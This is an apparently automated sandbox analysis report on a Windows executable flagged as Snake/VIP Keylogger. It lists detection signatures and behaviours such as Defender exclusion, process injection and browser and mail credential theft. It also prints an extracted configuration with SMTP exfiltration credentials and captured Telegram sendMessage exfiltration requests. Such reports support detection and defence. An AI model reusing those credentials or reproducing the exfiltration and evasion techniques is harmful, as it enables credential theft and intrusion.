Windows Analysis Report
b5Tu0LaQfn6bnAD.exe

Overview

General Information

Sample name: b5Tu0LaQfn6bnAD.exe
Analysis ID: 1650615
MD5: 5220a44989c88e4d1a573ecaea24056a
SHA1: b5ae001ca25a3ee449d2103fdca87b81d3c67f88
SHA256: ab68d4e831745aa5364ad14203a0a9669a5362913b09263eb4e06681f62007c5
Tags: exeuser-James_inthe_box
Infos:

Detection

Snake Keylogger, VIP Keylogger
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VIP Keylogger
.NET source code contains potential unpacker
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Sample uses string decryption to hide its real strings
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara detected Credential Stealer
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: b5Tu0LaQfn6bnAD.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Avira: detection malicious, Label: HEUR/AGEN.1305583
Found malware configuration
Source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "docs.brd@steadfastlogistics.in", "Password": "slf@2023", "Host": "mail.steadfastlogistics.in", "Port": "587"}
Source: 00000009.00000002.1353738607.00000000042EC000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "docs.brd@steadfastlogistics.in", "Password": "slf@2023", "Host": "mail.steadfastlogistics.in", "Port": "587", "Version": "4.4"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Virustotal: Detection: 55% Perma Link
Multi AV Scanner detection for submitted file
Source: b5Tu0LaQfn6bnAD.exe Virustotal: Detection: 36% Perma Link
Source: b5Tu0LaQfn6bnAD.exe ReversingLabs: Detection: 50%
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Neural Call Log Analysis: 99.9%
Sample uses string decryption to hide its real strings
Source: 9.2.IFZCSslt.exe.4330048.3.unpack String decryptor: docs.brd@steadfastlogistics.in
Source: 9.2.IFZCSslt.exe.4330048.3.unpack String decryptor: slf@2023
Source: 9.2.IFZCSslt.exe.4330048.3.unpack String decryptor: mail.steadfastlogistics.in
Source: 9.2.IFZCSslt.exe.4330048.3.unpack String decryptor: leonlee202520@gmail.com
Source: 9.2.IFZCSslt.exe.4330048.3.unpack String decryptor: 587
Source: 9.2.IFZCSslt.exe.4330048.3.unpack String decryptor:

Location Tracking
barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknown DNS query: name: reallyfreegeoip.org
Uses 32bit PE files
Source: b5Tu0LaQfn6bnAD.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49716 version: TLS 1.0
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49739 version: TLS 1.0
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: b5Tu0LaQfn6bnAD.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 4x nop then jmp 07A59262h 0_2_07A59344
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Code function: 4x nop then jmp 07A59262h 0_2_07A5988B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0555F45Dh 8_2_0555F4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0555F45Dh 8_2_0555F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0555FC19h 8_2_0555F961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABA2D41h 8_2_0ABA2A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABA3308h 8_2_0ABA2EF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABADD71h 8_2_0ABADAC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABA3308h 8_2_0ABA3236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAD4C1h 8_2_0ABAD218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABA0D0Dh 8_2_0ABA0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABA16F8h 8_2_0ABA0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAE621h 8_2_0ABAE378
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAF329h 8_2_0ABAF080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 8_2_0ABA0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAFBD9h 8_2_0ABAF930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABA3308h 8_2_0ABA2EEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAD919h 8_2_0ABAD670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAEA79h 8_2_0ABAE7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAE1C9h 8_2_0ABADF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAF781h 8_2_0ABAF4D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAEED1h 8_2_0ABAEC28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0ABAD069h 8_2_0ABACDC0
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 4x nop then jmp 06C987A2h 9_2_06C98884
Source: C:\Users\user\AppData\Roaming\IFZCSslt.exe Code function: 4x nop then jmp 06C987A2h 9_2_06C98DCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 04E4F45Dh 17_2_04E4F4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 04E4F45Dh 17_2_04E4F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 04E4FC19h 17_2_04E4F974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A212D49h 17_2_0A212A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A213310h 17_2_0A212EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21D4C9h 17_2_0A21D220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A213310h 17_2_0A21323E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 17_2_0A210673
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21D921h 17_2_0A21D678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A213310h 17_2_0A212EF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21DD79h 17_2_0A21DAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21E1D1h 17_2_0A21DF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A210D0Dh 17_2_0A210B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A2116F8h 17_2_0A210B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21E629h 17_2_0A21E380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21EA81h 17_2_0A21E7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21EED9h 17_2_0A21EC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 17_2_0A210040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 17_2_0A210853
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21F331h 17_2_0A21F088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21F789h 17_2_0A21F4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21FBE1h 17_2_0A21F938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe Code function: 4x nop then jmp 0A21D071h 17_2_0A21CDC8

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49735 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49757 -> 149.154.167.220:443
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2028/03/2025%20/%2001:09:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2027/03/2025%20/%2022:31:01%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View IP Address: 193.122.6.168 193.122.6.168
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
May check the online IP address of the machine
Source: unknown DNS query: name: checkip.dyndns.org
Source: unknown DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49747 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49720 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49742 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49715 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49734 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49745 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49718 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49727 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49741 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49733 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49743 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49748 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49750 -> 104.21.112.1:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49752 -> 104.21.112.1:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49716 version: TLS 1.0
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49739 version: TLS 1.0
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2028/03/2025%20/%2001:09:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/45.92.229.138 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2027/03/2025%20/%2022:31:01%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
